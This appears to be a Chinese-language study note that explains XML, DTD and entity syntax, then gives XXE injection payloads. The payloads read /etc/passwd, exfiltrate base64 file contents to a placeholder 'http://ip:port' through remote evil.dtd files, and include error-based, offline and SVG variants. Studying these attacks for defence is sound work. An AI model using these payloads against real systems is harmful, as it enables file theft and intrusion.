XML
XML基本格式:
<?xml version="1.0" encoding="UTF-8"?> <!-- version:当前文档使用的版本 encoding:当前文档使用的编码 -->
<note date="12/11/2007"> <!-- 根元素note,同时也是to from heading body 的父元素 -->
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML文档由元素构成,每个元素包括开始标签、结束标签和元素内容,XML 属性值必须加引号,比如例子中的date
DTD
DTD 的目的是定义 XML 文档的结构以及法律元素和属性,可以在内部声明,也可以被外部引用
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
例子中!DOCTYPE 指定根元素 note,!ELEMENT 先定义note必须包含的子元素,再分别定义各个子元素类型
PCDATA和CDATA的区别:
PCDATA:会解析一些特殊符号,比如<,里面如果要用到符号的字符必须使用预定义实体
CDATA:完全不解析,全部当作文本内容
ENTITY
DTD实体分为通用实体和参数实体,还要注意一些特殊符号在XML中有特定作用,需要字符时要使用预定义实体,常用的五个:
< - <
> - >
& - &
" - "
' - '
通用实体,引用时使用符号&:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">]>
<test>
&writer;
</test>
引用外部实体通常使用SYSTEM ,也可以使用PUBLIC,但是需要public id:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>
参数实体,引用时使用符号%,且只能在DTD文档中使用:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY %writer "Dawn">
%writer
]
>
XXE
常用file协议来读取敏感文件,根据不同的解析语言还可以使用不同的协议,如php伪协议
常规XXE
通用实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>
参数实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.dtd">
%dtd;]>
<test>
&all;
</test>
evil.dtd:
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;" >
OOB XXE
XXE外带:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://ip:port/evil.dtd">
%remote;%int;%send;
]>
evil.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port/?p=%file;'>">
报错XXE
如果正常解析无回显并且开启了报错就可以利用XXE的报错来带出数据:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://ip:port/evil.dtd">
%ext;
]>
<message>any text</message>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
不出网的情况,即无法从外部获取dtd,本质上对特殊符号再进行了一次预定义实体的转换:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % condition '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%condition;
]>
<message>any text</message>
XXE特殊出现形式
SVG XXE
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="400px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
参考资料
https://developer.mozilla.org/zh-CN/docs/Web/XML/Guides/XML_introduction
https://www.runoob.com/xml/xml-syntax.html
https://www.w3schools.com/xml/xml_dtd.asp
https://exp10it.io/posts/xxe-note/
https://boogipop.com/2023/03/06/XXE%E6%B3%A8%E5%85%A5%E7%9A%84Remake%E4%B9%8B%E6%97%85/
https://j7ur8.github.io/WebBook/VUL/%E6%8A%A5%E9%94%99XXE.html